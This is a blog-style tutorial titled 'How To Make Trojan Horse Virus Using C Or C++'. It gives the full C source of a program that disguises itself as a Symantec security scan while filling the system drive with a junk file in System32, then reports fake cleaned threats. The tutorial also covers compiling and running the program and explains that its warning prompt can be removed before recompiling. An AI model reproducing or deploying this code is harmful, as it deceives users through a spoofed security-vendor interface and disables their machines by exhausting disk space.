How To Make Trojan Horse Virus Using C Or C++

For your clear understanding i posted this article sequence wise like what is the work of this Trojan and how this Trojan work and the main thing the algorithm of the source code lets we discuss one by one in next lines.

TheAlgorithm Of The Trojan Is As Follows:

  1. Search for the root drive.
  2. Navigate to%systemroot%\Windows\System32 on the root drive.
  3. Create the file named “spceshot.dll“.
  4. Start dumping the junk data onto the above file and keep increasing its size until the drive is full.
  5. Once the drive is full, stop the process.

Step By Step Process ToMake Trojan Horse

Step:1) First of all open any text editor i am going to use simple notepad and copy below full code as it is and past it in notepad and save it with the name spaceEater.c ( don’t forget to include .c extension)

#include
#include
#include
#include
FILE *a,*t,*b;
int r,status,vir_count;
double i;
char ch[]=”CREATING A HUGE FILE FOR OCCUPYING HARDDISK SPACE”,choice;

void eatspace(void);
void findroot(void);
void showstatus(void);
void draw(void);
void accept(void);

void main()
{
draw();
accept();
textcolor(WHITE);
draw();
gotoxy(12,8);
cputs(“ANALYZING YOUR SYSTEM. PLEASE WAIT…”);
sleep(3);
gotoxy(12,8);
delline();
cputs(“PRESS ANY KEY TO START THE SYSTEM SCAN…”);
getch();
gotoxy(12,8);
delline();
findroot();
}

void accept()
{
textcolor(LIGHTRED);
gotoxy(1,8);
cputs(“THIS PROGRAM IS A DEMO OF SIMPLE TROJAN HORSE. IF YOU RUN THIS PROGRAM IT WILL\n\rEAT UP YOUR FULL HARD DISK SPACE ON ROOT DRIVE. HOWEVER IT IS POSSIBLE TO\n\rELIMINATE THE DAMAGE.\n\n\rTO CLEANUP THE DAMAGE YOU\’VE TO DELETE THE FILE \”spceshot.dll\” LOCATED IN\n\n\r \”%windir%\\System32\”.\n\n\rIF YOU WISH TO RUN THE PROGRAM PRESS ENTER, OTHERWISE PRESS ANY KEY TO QUIT.”);

if((choice=getch())!=13)
exit(0);
}

void draw()
{
clrscr();
textcolor(WHITE);
gotoxy(12,2);
cputs(“********************************************************”);
gotoxy(12,6);
cputs(“********************************************************”);
gotoxy(12,3);
cputs(“*\n\b*\n\b*\n\b”);
gotoxy(67,3);
cputs(“*\n\b*\n\b*\n\b”);
gotoxy(14,4);
cputs(“SYMANTEC SECURITY SCAN – 2009 (QUICK SYSTEM SCANNER)”);
}

void findroot()
{
t=fopen(“C:\\windows\\explorer.exe”,”rb”);
if(t!=NULL)
{
fclose(t);
textcolor(WHITE);
a=fopen(“C:\\windows\\system32\\spceshot.dll”,”rb”);
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs(“SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!”);
getch();
exit(1);
}
b=fopen(“C:\\windows\\system32\\spceshot.dll”,”wb+”);
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen(“D:\\windows\\explorer.exe”,”rb”);
if(t!=NULL)
{
fclose(t);
a=fopen(“D:\\windows\\system32\\spceshot.dll”,”rb”);
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs(“SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!”);
getch();
exit(1);
}
b=fopen(“D:\\windows\\system32\\spceshot.dll”,”wb+”);
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen(“E:\\windows\\explorer.exe”,”rb”);
if(t!=NULL)
{
fclose(t);
a=fopen(“E:\\windows\\system32\\spceshot.dll”,”rb”);
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs(“SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!”);
getch();
exit(1);
}
b=fopen(“E:\\windows\\system32\\spceshot.dll”,”wb+”);
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen(“F:\\windows\\explorer.exe”,”rb”);
if(t!=NULL)
{
fclose(t);
a=fopen(“F:\\windows\\system32\\spceshot.dll”,”rb”);
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs(“SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!”);
getch();
exit(1);
}
b=fopen(“F:\\windows\\system32\\spceshot.dll”,”wb+”);
if(b!=NULL)
{
showstatus();
eatspace();
}
}
if(t==NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs(“SYSTEM SCAN FAILED! PRESS ANY KEY TO CLOSE THIS PROGRAM.”);
getch();
exit(1);
}
exit(1);
}

void eatspace()
{
textcolor(LIGHTRED);
gotoxy(12,16);
cputs(“WARNING: DO NOT ABORT THE SCAN PROCESS UNTIL IT IS COMPLETED!\n”);
textcolor(WHITE);
gotoxy(12,18);
while(1)
{
for(r=1;r<4;r++)
{
for(i=1;i<900000;i++)
{
status=fputs(ch,b);
if(status==EOF)
{
textcolor(WHITE);
vir_count=random(120);
draw();
gotoxy(12,8);
cprintf(“SCAN COMPLETE!. DETECTED AND CLEANED OVER %d THREATS!”,vir_count);
gotoxy(12,10);
cprintf(“PRESS ANY KEY TO CLOSE…”);
getch();
break;
}
}
cputs(“.”);
if(status==EOF) break;
}
if(status==EOF) break;
}
exit(0);
}

void showstatus()
{
gotoxy(12,8);
cputs(“SCANNING THE SYSTEM FOR THREATS”);
gotoxy(12,10);
cputs(“THIS MAY TAKE UP A FEW MINUTES TO FEW HOURS”);
gotoxy(12,13);
cputs(“SCAN IN PROGRESS. PLEASE WAIT…”);
} 

Step:2) After that making spaceEater.c you need to compile it if you don’t know how to compile any c program then read my previos article how to compile and execute c/c++ program 
  
Step:3) I assuming that you compilespaceEater.c file and make it likespaceEater.exe  

Step:4) Now time come To test the Trojan, just run the SpaceEater.exe file on your computer as administrator mode . It will generate a warning message at the beginning. Once you accept it, the Trojan runs and eats up the hard disk space.
how to make a Trojan horse using c programming language
NOTE: I have purposefully added this warning screen to avoid script kiddies from misusing it. However you can edit the source code and then recompile it to remove the warning.

How To Fix The DamageAnd Free Up The Space?

If you run this Trojan on your own PC then you see your full c drive fill with junks file ,now learn here how to fix the damage and free up the space.To remove the damage and free up the space, just type the following in the “run” dialog box and hit okay .
%systemroot%\system32

how to make a Trojan horse using c programming language

Now you need to search for the file “spceshot.dll“. Just delete it and you’re done.
Please pass your comments and tell me your opinion. I am just waiting for your comments.

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